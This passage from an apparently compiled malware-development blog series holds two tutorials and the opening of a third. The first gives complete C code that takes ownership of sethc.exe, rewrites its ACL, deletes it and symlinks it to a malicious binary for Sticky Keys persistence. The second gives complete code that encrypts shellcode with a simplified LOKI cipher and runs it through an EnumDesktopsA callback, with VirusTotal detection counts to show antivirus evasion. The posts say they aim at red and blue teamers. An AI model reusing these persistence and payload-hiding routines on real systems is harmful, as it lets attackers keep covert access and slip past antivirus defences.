91. malware development: persistence - part 25. Create symlink
from legit to evil. Simple C example.

In the one of the previous posts I wrote about popular persistence tricks via Accessibil-
ity features, the APT groups like APT3, APT29 and APT41 exploited this feature for
attacking PCs.
In this post, I simply show you the same trick with different logic: simply making
symbolic link from legitimate app to malicious.

create symboliclink. accessibility features


Well-known approach used by attackers to achieve persistence is to create symbolic links
(symlinks) that replace or reroute Windows Accessibility capabilities. This method is
more complex than just changing binaries since it includes building a symlink from a
valid system file or feature to a malicious file. When the system or a user attempts to
access the original file or functionality, they are unintentionally sent to a harmful file.

practical example
The logic would seem to be quite simple, something like this:
#include <windows.h>
#include <stdio.h>

int main() {
// path to the legitimate binary (e.g., Sticky Keys)
const char* legitApp = "C:\\Windows\\System32\\sethc.exe";
// path to the malicious binary
const char* meowApp = "Z:\\hack.exe";

// delete the original file (requires administrative privileges)

811
if (!DeleteFileA((LPCSTR)legitApp)) {
printf("error deleting original file: %d\n", GetLastError());
return 1;
}
printf("original file deleted successfully\n");
CloseHandle(hFile);

// create the symbolic link


if (!CreateSymbolicLinkA((LPCSTR)legitApp, (LPCSTR)meowApp, 0)) {
printf("error creating symlink: %d\n", GetLastError());
return 1;
}
printf("symlink to meow created successfully =^..^=\n");
return 0;
}
but in reality everything is a little more complicated.
Let’s say we have a “malware”:
/*
* hack.c
* "malware" for symlink
* persistence trick
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/07/08/malware-pers-25.html
*/
#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,


LPSTR lpCmdLine, int nCmdShow) {
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 0;
}
And I want to create symbolic link, target legit app is:
const char* legitApp = "C:\\Windows\\System32\\sethc.exe";
First of all, we need permissions:
SE_TAKE_OWNERSHIP_NAME
SE_DEBUG_NAME
SE_RESTORE_NAME
SE_BACKUP_NAME
For this just use setPrivilege function:
// set privilege
BOOL setPrivilege(LPCTSTR priv) {

812
HANDLE token;
TOKEN_PRIVILEGES tp;
LUID luid;
BOOL res = TRUE;

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;


if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE;
if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;
printf(res ? "successfully enable %s :)\n" :
"failed to enable %s :(\n", priv);
return res;
}
As you can see, this function is used to enable a specified privilege for the current process.
Then, opens the legitimate binary with the required access rights (WRITE_OWNER and
WRITE_DAC):
HANDLE hFile = CreateFileA((LPCSTR)legitApp, WRITE_OWNER | WRITE_DAC, FILE_SHARE_READ, NULL,
Then get token information:
// obtain the SID for the current user
HANDLE hToken;
DWORD dwSize = 0;
PTOKEN_USER pTokenUser = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
printf("Failed to open process token: %d\n", GetLastError());
CloseHandle(hFile);
return 1;
}
printf("open process token: ok\n");

// get the required size for the token information


GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize);
pTokenUser = (PTOKEN_USER)malloc(dwSize);
if (pTokenUser == NULL) {
printf("failed to allocate memory for token information\n");
CloseHandle(hToken);
CloseHandle(hFile);
return 1;
}

813
printf("allocate memory token info: ok\n");

// get the token information


if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) {
printf("failed to get token information: %d\n", GetLastError());
free(pTokenUser);
CloseHandle(hToken);
CloseHandle(hFile);
return 1;
}
printf("get token info: ok\n");
At the next step we need to change legitimate binary’s ownership to current user:
// initialize a security descriptor
SECURITY_DESCRIPTOR sd;
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) {
printf("failed to initialize security descriptor: %d\n", GetLastError());
free(pTokenUser);
CloseHandle(hToken);
CloseHandle(hFile);
return 1;
}
printf("init security descriptor: ok\n");

// set the owner in the security descriptor


if (!SetSecurityDescriptorOwner(&sd, pTokenUser->User.Sid, FALSE)) {
printf("failed to set security descriptor owner: %d\n", GetLastError());
free(pTokenUser);
CloseHandle(hToken);
CloseHandle(hFile);
return 1;
}
printf("setting security descriptor owner: ok\n");

// apply the security descriptor to the file


if (!SetFileSecurityA(legitApp, OWNER_SECURITY_INFORMATION, &sd)) {
printf("error setting file ownership: %d\n", GetLastError());
free(pTokenUser);
CloseHandle(hToken);
CloseHandle(hFile);
return 1;
}
printf("setting file ownership: ok\n");
InitializeSecurityDescriptor - init a new security descriptor.
SetSecurityDescriptorOwner - sets the owner in the security descriptor to the

814
current user’s SID.
SetFileSecurityA - applies the security descriptor to the legitimate binary to change
its ownership.
Then, applies the new ACL to the file:
// set full control for the current user
EXPLICIT_ACCESS ea;
PACL pNewAcl = NULL;

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = GENERIC_ALL;
ea.grfAccessMode = SET_ACCESS;
ea.grfInheritance = NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = (LPSTR)pTokenUser->User.Sid;

if (SetEntriesInAcl(1, &ea, NULL, &pNewAcl) != ERROR_SUCCESS) {


printf("error setting new ACL: %d\n", GetLastError());
free(pTokenUser);
CloseHandle(hToken);
CloseHandle(hFile);
return 1;
}
printf("setting new ACL: ok\n");

if (SetSecurityInfo(hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION,


NULL, NULL, pNewAcl, NULL) != ERROR_SUCCESS) {
printf("error setting security info: %d\n", GetLastError());
free(pTokenUser);
CloseHandle(hToken);
CloseHandle(hFile);
LocalFree(pNewAcl);
return 1;
}
printf("setting security info: ok\n");

free(pTokenUser);
CloseHandle(hToken);
LocalFree(pNewAcl);
Finally, delete original file and set symlink:
// delete the original file (requires administrative privileges)
if (!DeleteFileA((LPCSTR)legitApp)) {
printf("error deleting original file: %d\n", GetLastError());
return 1;

815
}
printf("original file deleted successfully\n");
CloseHandle(hFile);

HMODULE kernel = GetModuleHandle("kernel32.dll");


pCreateSymbolicLinkA = (BOOLEAN(WINAPI *)(LPCSTR, LPCSTR, DWORD))
GetProcAddress(kernel, (LPCSTR)"CreateSymbolicLinkA");

// create the symbolic link


if (!pCreateSymbolicLinkA((LPCSTR)legitApp, (LPCSTR)meowApp, 0)) {
printf("error creating symlink: %d\n", GetLastError());
return 1;
}

printf("symlink to meow created successfully =^..^=\n");


return 0;
As you can see, this is more complicated: this PoC demonstrates how to set privileges,
change file ownership, set ACLs, delete a file, and create a symbolic link using the
Windows API.
If you try immediately delete the original file from system32 folder, you receive an
error: access denied.
Also, if obtaining the SID for the current user and setting it are incorrect you got an
error like error 1337 invalid owner or something similar.
Final source code is looks like this pers.c:
/*
* pers.c
* symlink persistence trick
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/07/08/malware-pers-25.html
*/
#include <windows.h>
#include <stdio.h>
#include <aclapi.h> // for OWNER_SECURITY_INFORMATION
#include <sddl.h> // for ConvertStringSidToSid ???

BOOLEAN (WINAPI * pCreateSymbolicLinkA)(


LPCSTR lpSymlinkFileName,
LPCSTR lpTargetFileName,
DWORD dwFlags
);

// set privilege
BOOL setPrivilege(LPCTSTR priv) {

816
HANDLE token;
TOKEN_PRIVILEGES tp;
LUID luid;
BOOL res = TRUE;

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;


if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token))
res = FALSE;
if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;
printf(res ? "successfully enable %s :)\n" :
"failed to enable %s :(\n",
priv);
return res;
}

int main() {
// path to the legitimate binary (e.g., Sticky Keys)
const char* legitApp = "C:\\Windows\\System32\\sethc.exe";
// path to the malicious binary
const char* meowApp = "Z:\\hack.exe";

if (!setPrivilege(SE_TAKE_OWNERSHIP_NAME)) return -1;


if (!setPrivilege(SE_DEBUG_NAME)) return -1;
if (!setPrivilege(SE_RESTORE_NAME)) return -1;
if (!setPrivilege(SE_BACKUP_NAME)) return -1;

HANDLE hFile = CreateFileA((LPCSTR)legitApp, GENERIC_WRITE,


FILE_SHARE_READ, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);

// obtain the SID for the current user


HANDLE hToken;
DWORD dwSize = 0;
PTOKEN_USER pTokenUser = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
printf("Failed to open process token: %d\n", GetLastError());
CloseHandle(hFile);
return 1;
}
printf("open process token: ok\n");

817
// get the required size for the token information
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize);
pTokenUser = (PTOKEN_USER)malloc(dwSize);
if (pTokenUser == NULL) {
printf("failed to allocate memory for token information\n");
CloseHandle(hToken);
CloseHandle(hFile);
return 1;
}
printf("allocate memory token info: ok\n");

// get the token information


if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) {
printf("failed to get token information: %d\n", GetLastError());
free(pTokenUser);
CloseHandle(hToken);
CloseHandle(hFile);
return 1;
}
printf("get token info: ok\n");

// initialize a security descriptor


SECURITY_DESCRIPTOR sd;
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) {
printf("failed to initialize security descriptor: %d\n", GetLastError());
free(pTokenUser);
CloseHandle(hToken);
CloseHandle(hFile);
return 1;
}
printf("init security descriptor: ok\n");

// set the owner in the security descriptor


if (!SetSecurityDescriptorOwner(&sd, pTokenUser->User.Sid, FALSE)) {
printf("failed to set security descriptor owner: %d\n", GetLastError());
free(pTokenUser);
CloseHandle(hToken);
CloseHandle(hFile);
return 1;
}
printf("setting security descriptor owner: ok\n");

// apply the security descriptor to the file


if (!SetFileSecurityA(legitApp, OWNER_SECURITY_INFORMATION, &sd)) {
printf("error setting file ownership: %d\n", GetLastError());
free(pTokenUser);

818
CloseHandle(hToken);
CloseHandle(hFile);
return 1;
}
printf("setting file ownership: ok\n");

// set full control for the current user


EXPLICIT_ACCESS ea;
PACL pNewAcl = NULL;

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = GENERIC_ALL;
ea.grfAccessMode = SET_ACCESS;
ea.grfInheritance = NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = (LPSTR)pTokenUser->User.Sid;

if (SetEntriesInAcl(1, &ea, NULL, &pNewAcl) != ERROR_SUCCESS) {


printf("error setting new ACL: %d\n", GetLastError());
free(pTokenUser);
CloseHandle(hToken);
CloseHandle(hFile);
return 1;
}
printf("setting new ACL: ok\n");

if (SetSecurityInfo(hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL,


NULL, pNewAcl, NULL) != ERROR_SUCCESS) {
printf("error setting security info: %d\n", GetLastError());
free(pTokenUser);
CloseHandle(hToken);
CloseHandle(hFile);
LocalFree(pNewAcl);
return 1;
}
printf("setting security info: ok\n");

free(pTokenUser);
CloseHandle(hToken);
LocalFree(pNewAcl);

// delete the original file (requires administrative privileges)


if (!DeleteFileA((LPCSTR)legitApp)) {
printf("error deleting original file: %d\n", GetLastError());
return 1;

819
}
printf("original file deleted successfully\n");
CloseHandle(hFile);

HMODULE kernel = GetModuleHandle("kernel32.dll");


pCreateSymbolicLinkA = (BOOLEAN(WINAPI *)(LPCSTR, LPCSTR, DWORD))
GetProcAddress(kernel, (LPCSTR)"CreateSymbolicLinkA");

// create the symbolic link


if (!pCreateSymbolicLinkA((LPCSTR)legitApp, (LPCSTR)meowApp, 0)) {
printf("error creating symlink: %d\n", GetLastError());
return 1;
}

printf("symlink to meow created successfully =^..^=\n");


return 0;
}
Note, that this PoC includes necessary headers for Windows API functions, file secu-
rity, and SID (Security Identifier) manipulation, and have a function pointer to the
CreateSymbolicLinkA function, which is used to create symbolic links (my mingw
didn’t want to compile without errors)

demo
Let’s check everything in action.
Compile our meow-meow “malware” hack.c:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

And compile persistence script:

820
x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

Then, run it on test victim’s machine (Windows 11 x64):


.\pers.exe

As you can see, symlink successfully created.


Finally, pressing Shift key 5 times:

Note to the properties of the hack.exe:

821
As you can see, everything worked as expected. Perfect! =.. =
So this PoC is how an attacker might create a symlink to redirect an Accessibility feature
to a malicious executable.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
CreateSymbolicLinkA
Malware persistence - part 12. Accessibility features
source code in github

822
92. malware and cryptography research - part 1 (29): LOKI payload
encryption. Simple C example.

This post is the result of my own research on try to evasion AV engines via encrypting
payload with another logic: LOKI symmetric-key block cipher. As usual, exploring
various crypto algorithms, I decided to check what would happen if we apply this to
encrypt/decrypt the payload.

LOKI
Lawrie Brown, Josef Pieprzyk, and Jennifer Seberry, three Australian cryptographers,
first published LOKI (LOKI89) in 1990 under the name “LOKI”. LOKI89 was submitted
to the European RIPE project for review, but was not chosen. LOKI was presented as a
potential alternative to DES.

practical example
Let’s implement it. The LOKI algorithm uses a 64-bit block and a 64-bit key. The
LOKI block encryption function encrypts through multiple rounds of a Feistel structure.
Below is a detailed step-by-step explanation of how this function works:
void loki_encrypt(u8 *block, u8 *key) {
// LOKI encryption (simplified for demo)
u32 left = ((u32)block[0] << 24) |
((u32)block[1] << 16) | ((u32)block[2] << 8) |
(u32)block[3];
u32 right = ((u32)block[4] << 24) | ((u32)block[5] << 16) |
((u32)block[6] << 8) | (u32)block[7];

for (int round = 0; round < ROUNDS; round++) {


u32 temp = right;
right = left ^ (right + ((u32)key[round % KEY_SIZE]));

823
left = temp;
}

block[0] = (left >> 24) & 0xFF;


block[1] = (left >> 16) & 0xFF;
block[2] = (left >> 8) & 0xFF;
block[3] = left & 0xFF;
block[4] = (right >> 24) & 0xFF;
block[5] = (right >> 16) & 0xFF;
block[6] = (right >> 8) & 0xFF;
block[7] = right & 0xFF;
}
The 64-bit block is divided into two 32-bit halves: left and right:
u32 left = ((u32)block[0] << 24) | ((u32)block[1] << 16) |
((u32)block[2] << 8) | (u32)block[3];
u32 right = ((u32)block[4] << 24) | ((u32)block[5] << 16) |
((u32)block[6] << 8) | (u32)block[7];
The left half (left) is formed by concatenating the first four bytes of the block.
The right half (right) is formed by concatenating the last four bytes of the block.
The encryption process involves multiple rounds (16 rounds in my implementation):
for (int round = 0; round < ROUNDS; round++) {
u32 temp = right;
right = left ^ (right + ((u32)key[round % KEY_SIZE]));
left = temp;
}
For each round:
• temp stores the current value of right.

• right is updated with the result of XOR between left and the sum of right and
a key value. The key value is chosen cyclically using key[round % KEY_SIZE].

• left is updated to the previous value of right stored in temp.


Finally, reconstructing the encrypted block logic:
block[0] = (left >> 24) & 0xFF;
block[1] = (left >> 16) & 0xFF;
block[2] = (left >> 8) & 0xFF;
block[3] = left & 0xFF;
block[4] = (right >> 24) & 0xFF;
block[5] = (right >> 16) & 0xFF;
block[6] = (right >> 8) & 0xFF;
block[7] = right & 0xFF;

824
After completing all rounds, the left and right halves are merged back into the
original block.
The 32-bit left and right values are split into bytes and stored back into the block
array.
In my example, this function provides a simplified view of the LOKI encryption process,
focusing on the core operations of splitting, processing, and recombining the data.
Also reimplement decrypting logic:
void loki_decrypt(u8 *block, u8 *key) {
// LOKI decryption (simplified for demo)
u32 left = ((u32)block[0] << 24) | ((u32)block[1] << 16) |
((u32)block[2] << 8) | (u32)block[3];
u32 right = ((u32)block[4] << 24) | ((u32)block[5] << 16) |
((u32)block[6] << 8) | (u32)block[7];

for (int round = ROUNDS - 1; round >= 0; round--) {


u32 temp = left;
left = right ^ (left + ((u32)key[round % KEY_SIZE]));
right = temp;
}

block[0] = (left >> 24) & 0xFF;


block[1] = (left >> 16) & 0xFF;
block[2] = (left >> 8) & 0xFF;
block[3] = left & 0xFF;
block[4] = (right >> 24) & 0xFF;
block[5] = (right >> 16) & 0xFF;
block[6] = (right >> 8) & 0xFF;
block[7] = right & 0xFF;
}
Then we need the loki_encrypt_shellcode function to encrypt a given shellcode
using the LOKI block cipher:
void loki_encrypt_shellcode(unsigned char* shellcode, int shellcode_len) {
int i;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
loki_encrypt(shellcode + i * BLOCK_SIZE, key);
}
// check if there are remaining bytes
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] =
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(pad, shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE,
remaining);

825
loki_encrypt(pad, key);
memcpy(shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE, pad,
remaining);
}
}
How it works?
Loop through shellcode in 8-byte blocks:
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
loki_encrypt(shellcode + i * BLOCK_SIZE, key);
}
For each 8-byte block, the loki_encrypt function is called with the current block
and the encryption key. shellcode + i * BLOCK_SIZE computes the address of the
current 8-byte block in the shellcode.
After processing all full 8-byte blocks, the function checks if there are any remaining
bytes that do not form a complete block.
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] =
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(pad, shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE,
remaining);
loki_encrypt(pad, key);
memcpy(shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE, pad,
remaining);
}
Note that as usually, a padding array pad of 8 bytes is initialized with 0x90 (NOP
instruction in x86 assembly).
This function ensures that the entire shellcode, regardless of its length, is encrypted
using the LOKI algorithm, with proper handling of any partial blocks.
Then create decrypting logic:
void loki_decrypt_shellcode(unsigned char* shellcode, int shellcode_len) {
int i;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
loki_decrypt(shellcode + i * BLOCK_SIZE, key);
}
// check if there are remaining bytes
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] =
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(pad, shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE,

826
remaining);
loki_decrypt(pad, key);
memcpy(shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE, pad,
remaining);
}
}
The final full source code for running payload is looks like this (hack.c):
/*
* hack.c
* encrypt/decrypt payload via LOKI
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/07/16/malware-cryptography-29.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROUNDS 16
#define BLOCK_SIZE 8
#define KEY_SIZE 8

typedef uint32_t u32;


typedef uint8_t u8;

u8 key[KEY_SIZE] = {0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF};

void loki_encrypt(u8 *block, u8 *key) {


// LOKI encryption (simplified for demo)
u32 left = ((u32)block[0] << 24) | ((u32)block[1] << 16) |
((u32)block[2] << 8) | (u32)block[3];
u32 right = ((u32)block[4] << 24) | ((u32)block[5] << 16) |
((u32)block[6] << 8) | (u32)block[7];

for (int round = 0; round < ROUNDS; round++) {


u32 temp = right;
right = left ^ (right + ((u32)key[round % KEY_SIZE]));
left = temp;
}

block[0] = (left >> 24) & 0xFF;


block[1] = (left >> 16) & 0xFF;
block[2] = (left >> 8) & 0xFF;
block[3] = left & 0xFF;

827
block[4] = (right >> 24) & 0xFF;
block[5] = (right >> 16) & 0xFF;
block[6] = (right >> 8) & 0xFF;
block[7] = right & 0xFF;
}

void loki_decrypt(u8 *block, u8 *key) {


// LOKI decryption (simplified for demo)
u32 left = ((u32)block[0] << 24) | ((u32)block[1] << 16) |
((u32)block[2] << 8) | (u32)block[3];
u32 right = ((u32)block[4] << 24) | ((u32)block[5] << 16) |
((u32)block[6] << 8) | (u32)block[7];

for (int round = ROUNDS - 1; round >= 0; round--) {


u32 temp = left;
left = right ^ (left + ((u32)key[round % KEY_SIZE]));
right = temp;
}

block[0] = (left >> 24) & 0xFF;


block[1] = (left >> 16) & 0xFF;
block[2] = (left >> 8) & 0xFF;
block[3] = left & 0xFF;
block[4] = (right >> 24) & 0xFF;
block[5] = (right >> 16) & 0xFF;
block[6] = (right >> 8) & 0xFF;
block[7] = right & 0xFF;
}

void loki_encrypt_shellcode(unsigned char* shellcode, int shellcode_len) {


int i;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
loki_encrypt(shellcode + i * BLOCK_SIZE, key);
}
// check if there are remaining bytes
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] =
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(pad, shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE,
remaining);
loki_encrypt(pad, key);
memcpy(shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE, pad,
remaining);
}
}

828
void loki_decrypt_shellcode(unsigned char* shellcode, int shellcode_len) {
int i;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
loki_decrypt(shellcode + i * BLOCK_SIZE, key);
}
// check if there are remaining bytes
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] =
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
memcpy(pad, shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE,
remaining);
loki_decrypt(pad, key);
memcpy(shellcode + (shellcode_len / BLOCK_SIZE) * BLOCK_SIZE, pad,
remaining);
}
}

int main() {
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int my_payload_len = sizeof(my_payload);

829
int pad_len = my_payload_len + (8 - my_payload_len % 8) % 8;
unsigned char padded[pad_len];
memset(padded, 0x90, pad_len);
memcpy(padded, my_payload, my_payload_len);

printf("original shellcode: ");


for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", my_payload[i]);
}
printf("\n\n");

loki_encrypt_shellcode(padded, pad_len);

printf("encrypted shellcode: ");


for (int i = 0; i < pad_len; i++) {
printf("%02x ", padded[i]);
}
printf("\n\n");

loki_decrypt_shellcode(padded, pad_len);

printf("decrypted shellcode: ");


for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", padded[i]);
}

printf("\n\n");

LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT,


PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, padded, my_payload_len);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
return 0;
}
As you can see, for running payload I used EnumDesktopsA trick.
Also as usually, for simplicity, used meow-meow messagebox payload:
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"

830
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
For checking correctness, added comparing and printing logic.

demo
Let’s go to see everything in action. Compile it (in my kali machine):
x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc

Then, just run it in the victim’s machine (windows 11 x64 in my case):


.\hack.exe

831
As you can see, everything is worked perfectly! =.. =
Calculate Shannon entropy:
python3 entropy.py -f hack.exe

Our payload in the .text section.


Let’s go to upload this hack.exe to VirusTotal:

832
https://www.virustotal.com/gui/file/04bede4d03cd8f610fa90c4d41e1439e3adcd660
69a378b9db4f94e62a7572cd/detection
As you can see, only 27 of 73 AV engines detect our file as malicious.
But this result is not due to the encryption of the payload, but to calls to some Windows
APIs like VirtualAlloc, RtlMoveMemory and EnumDesktopsA
Biham and Shamir successfully employed differential cryptanalysis to efficiently decrypt
LOKI with 11 or fewer rounds, exceeding the speed of brute force methods.
I hope this post is useful for malware researchers, C/C++ programmers, spreads aware-
ness to the blue teamers of this interesting encrypting technique, and adds a weapon to
the red teamers arsenal.
LOKI
Malware and cryptography 1
source code in github

833
93. Malware and cryptography research - part 2 (30): Khufu pay-
load encryption. Simple C example.

This post is the result of my own research on using Khufu Feistel cipher on malware
development. As usual, exploring various crypto algorithms, I decided to check what
would happen if we apply this to encrypt/decrypt the payload.

